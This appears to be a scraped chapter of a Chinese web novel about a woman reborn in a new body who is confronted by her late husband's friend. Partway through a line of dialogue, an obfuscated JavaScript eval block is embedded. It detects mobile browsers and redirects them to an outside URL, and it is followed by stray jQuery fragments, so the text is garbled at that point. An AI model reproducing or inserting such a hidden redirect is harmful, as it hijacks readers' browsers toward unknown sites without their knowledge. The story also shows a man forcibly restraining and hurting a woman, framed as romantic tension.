22. 第 22 章

作品:《兄弟老婆死后的第六年

    霜见才问出口,就后悔自己过于心急。


    楚川显然也没料到霜见会这么问,他放下汤匙,摇头:“没有,你...问这个做什么?”


    霜见看他的反应也能猜到他此刻在想什么,应该已经在打腹稿要如何拒绝自己了吧。


    从朋友口中她已经知道他的心里只有阮诺,自己现在已经换了副躯壳,他又怎么会这么轻易接受自己。


    霜见放弃刚刚一时冲动下做的决定,微笑说:“没事,就是听亭岳哥提起你的妻子,觉得你们一定很相爱,果不其然,你到现在还单身。”


    楚川嘴角笑意变得苦涩,眉眼间的哀愁瞬间溢了出来,“我很爱她,这一辈子恐怕都忘不了她。”


    霜见听了他的话,心口微滞,她好想告诉他自己就是阮诺。


    她语气和缓劝慰:“亭岳哥说的也没错,人还是应该向前看,你妻子泉下有知应该也希望你能重新开始。”


    “嗯,我知道的,谢谢你。”


    两人吃完饭,楚川送霜见回聆听。


    临下车,霜见犹豫再三询问楚川:“阮诺姐那个娃娃你记得问下穆砚钦,如果他交给你,你能不能把娃娃给我,我想亲自去烧给阮诺姐,这样我也算我为她做了点事。”


    楚川沉默几秒后,微微点了下头。


    霜见粲然一笑,这是她今天为止第一次发自肺腑的笑容,梨涡牵起上扬的唇角,楚川看着她,一时失了神。


    霜见下车后,楚川打了通电话给穆砚,两人约在了勤业路的知音见面。


    他自从去了德国航空公司后,很少再来这家店,几年没过来,乍一踏入店内,看到与往日无异的陈设,让他感到时空错乱。


    知音里有一间咨询室,供与客户详谈的场所。


    楚川推门进去就看见穆砚钦坐在桌子对面,看见他来,眼神示意他坐,“有什么事?”


    楚川坐下,沉吟片刻后问道:“砚钦,当年诺诺离开不久,我要去烧她的那个陪睡娃娃还有另外几样东西时,你说你帮我带到墓山去烧,后来你有没有烧?”


    穆砚钦闻言,眉头下压,眉尾挑起,“阮霜见跟你说了什么?”


    楚川微讶:“你怎么知道是霜见老师跟我说的?”


    穆砚钦没有直接回答而是说:“那就是她说的了。”


    “她说诺诺给她托梦,想要她以前的那个娃娃。”


    穆砚钦讥讽一笑,“她的鬼话你也信,托梦?阮诺她托梦不托给你这个丈夫,托给她那个连面都没见上的人?”


    “这...,那你到底烧了没有?”


    “烧了。”穆砚钦说得斩钉截铁,眼睛紧紧盯着楚川,见楚川面色迟疑,却没有反驳他的话,便知道霜见并没有把她在他家见到那个娃娃的事说出来。


    他又说:“那个女人神神叨叨的,脑子有点不正常,离她远点。”


    楚川默了默,忽然问:“砚钦,你觉得霜见老师长得像不像诺诺,今天她冲着我笑的时候,那个梨涡和诺诺的好像。”


    穆砚钦置在桌上的手微微收拢,“你魔怔了,请问梨涡还有第二种长相么?”


    “也是。”


    楚川走后穆砚钦坐在咨询室良久,直到邢嘉倩带着客人进来,他才起身出去。


    火红的夕阳将天空染成浓烈的橙色,半边天蓝半边红,厚重的云层遮不住耀眼的晚霞,云朵都在发着光。


    穆砚钦伴着夕阳,漫无目的驾车疾行。


    太阳一点点落下,月亮悄无声息爬上了树梢。


    当最后一缕日光消失时,穆砚钦的车停在了花语庭府门前。


    他怔忡望着小区大门处进进出出的人群,许久后,大门处热闹不在,月亮也散发出独属于它的光辉。


    穆砚钦停好车,从后备箱拎出一个工具包进了花语庭府。


    -


    霜见今天为了去墓园特地请了假,晚饭是她做的,这会陈芳妹在洗碗。


    她在书房正忙着报名国际钢琴大师赛。


    六年前她才报过名就出了事,没有来得及参加来年的比赛。


    国际钢琴大师赛三年一届,明年将是新的一届,六年后的今天她以新的身份重新报名。


    她之所以对这个比赛这么执着,一是因为这项比赛是国际上最具权威性的钢琴比赛之一。


    二是因为她的偶像Fleur就是国际钢琴大师赛的往届冠军,也是这个比赛让她成为如今国际上最知名的钢琴家之一。


    她要像偶像看齐。


    门铃响起时,她才上传完所有资料,她关闭电脑去开门。


    打开门就看见提着工具包站在门外的穆砚钦。


    男人有些倦色,但精致帅气的眉眼依旧让他夺目。


    霜见稍有愣怔,没想到他会突然出现,“你怎么来了?”


    “调琴。”


    “调,调情?”霜见美目圆睁,不可置信看向门外的男人。


    穆砚钦拉开工具包外侧口袋的拉链,从里面摸出一张证件递给霜见,“想什么呢?是调琴,不是调情。”


    霜见狐疑接过证件,打开一看,是一张钢琴调律师证,证件上的名字和照片都是穆砚钦的,右下角还有个红章,应该是真的。


    霜见更是不可思议,“你还会调琴?”


    “嗯,专业的。”说着他就往屋里走。


    霜见懵懵跟在他身后。


    穆砚钦把工具包打开,从里面拿出调音扳手、止音呢楔、音叉等工具,整齐地排放在一边。


    穆砚钦放好工具,又小心移除钢琴的上门板、键盖和下门板。


    他的动作一气呵成,一点点调试,弹奏、听音,再调试。


    陈芳妹从厨房出来就看见正忙得认真的穆砚钦。


    “小穆怎么来了?”


    穆砚钦停住手上动作,扭头看向她,“外婆,阮霜见上次说这架钢琴音不准,我来帮她调一下。”


    陈芳妹笑得眼睛眯成两条缝,“行,那你俩好好调琴,我去给你泡茶。”


    等全部忙完已经是一个多小时后,穆砚钦把琴板全部装回去,在钢琴前坐下。


    他背脊挺直,双肩宽阔,优越的侧颜落在柔和的灯光里。


    他手指落在琴键上,而后一首曲子从他指下流出。


    曲调前半段清新灵动,后半段激昂热烈。


    霜见听着这熟悉的乐曲,呼吸开始变得急促,她双手紧握成拳,定定看着穆砚钦的侧影。


    一曲弹完,穆砚钦淡定起身,“这琴确实太老了,调过了应该能凑合用段时间。”


    穆砚看了眼次卧方向,陈芳妹正在看电视,有戏曲的声音传出。


    他不顾霜见此刻呆愣神情说:“去你房间谈谈。”


    霜见感觉自己被穆砚钦逼进了死胡同,她憋着一口气,没有问穆砚钦为什么会弹这首曲子。


    她也不用问,没有别的理由,一定是楚川告诉他的。


    两人进了卧室,穆砚钦关了门,在飘窗上坐下,“刚刚那首曲子你听过吗?”


    霜见不敢在他面前露出太多破绽,摇头说:“没听过。”


    穆砚钦轻笑了声:“你看上去不像没听过。”他打量霜见神色继续道:“这是我写的曲子,名叫...薄、荷、糖。”


    霜见听完他的话,理智崩塌,出声反驳:


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16769026|189908||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “什么薄荷糖,分明叫《倾诺》,而且怎么可能是你写的?”


    这首曲子正是高三,楚川向她表白时送给她的曲谱。


    穆砚钦倏地攥住霜见手腕,用力一带,霜见踉跄向前一步,弯腰贴近他,两人鼻息紧缠,视线碰撞。


    霜见心虚闪躲,却脱不开身。


    穆砚钦深深凝着霜见,一字一句道:“阮霜见,你还真是.....阮诺所有的私事你好像都知道。”


    霜见不甘示弱:“你好像知道得也很多。”


    “她老公,我朋友,跟我说得多,我自然知道,你呢?就凭你们没见过面的情分?还是你那个不知所谓的托梦?”


    霜见被他似乎洞察一切的眼神和咄咄逼人的语气震得一时吐不出半个字。


    她膝盖抵在飘窗下的墙面,空闲的一只手拼命撑着穆砚钦胸膛,想借力使劲抽出另一只被束缚的手腕。


    穆砚钦却勾唇一笑,用力扯过胸前女人纤细的手腕,双腿膝弯猛地一合,霜见还在使劲的腿就这么被他死死锁住,再也使不出半分力气。


    他一只手捏住她的两只腕骨,另一只手虎口钳住她的下颚。


    眼神侵略地衔住她,“说,你...究竟是谁?该不会是鬼上身了吧?要不要我找个道士给你驱驱邪?”


    霜见闻言心脏猝然一紧,手脚并用想要摆脱穆砚钦的挟制,然而都是徒劳,她越是反抗,穆砚钦的力气就越大,手腕和下颌传来火辣的痛感。


    穆砚钦不依不饶紧盯着她,似乎通过她的□□看见了她的灵魂,撕开了她的人皮,扯出了她的那缕孤魂。


    她害怕到浑身轻颤,房间寂静无声。


    这寂静压得霜见喘不上气,她想甩开穆砚钦的钳制,却被他越拉越近,眼里只有他的眼,鼻尖全是薄荷的味道。


    她的眼球不安地转动,呼吸被深深吞下。


    霜见只想摆脱他,却不知该怎么办,完全慌了神。


    两人无声地对峙时,一声尖锐的戏腔从隔壁房间传了过来,霜见找到了救星,颤声喊道:“外婆!”


    “外婆!!”


    “外婆!!!”


    她一声高过一声,声音慌张到破了音。


    急促的脚步声传来,门被陈芳妹推开,看见屋里两人。


    一个坐着,一个俯身贴近,从她的角度看过去两人已然亲在了一起。


    她老脸一红,不满抱怨:“死丫头,好好的喊我来干嘛?”


    穆砚钦甩开霜见的手,霜见却一把拉住他,眼泪夺眶而出,她委屈巴巴扭过头,举起穆砚钦的手。


    “外婆,穆砚钦他欺负我。”


    陈芳妹一听,脸上笑意全无,疾步进来。


    “外婆他就用这只手死死捏我的手腕。”霜见继续加码,又拽起他的另一只手,“又用这只手掐我下巴。”


    她的手白皙小巧,穆砚钦的手在她的掌下似是巨物。


    就如同刚刚的两人,一个是猎人,一个是逃不掉的猎物。


    此刻的穆砚钦依旧如一个猎人般,似笑非笑看着她的猎物肆意表演。


    他没想到自己能把她的第二人格逼出来。


    装可怜,扮柔弱她倒是手到擒来。


    陈芳妹抓起霜见手腕,就看见红通通一圈。


    “还有下巴。”霜见扬起下颌,清晰的指印覆在上面,又是通红一片。


    陈芳妹抬手轻抚,顿时火冒三丈。


    老太太完全没有给穆砚钦反应时间,抬手就朝穆砚钦面门呼了过去。


    “啪!”


    万籁俱静。


    穆砚钦玩味的笑意僵在脸上,一点点消失。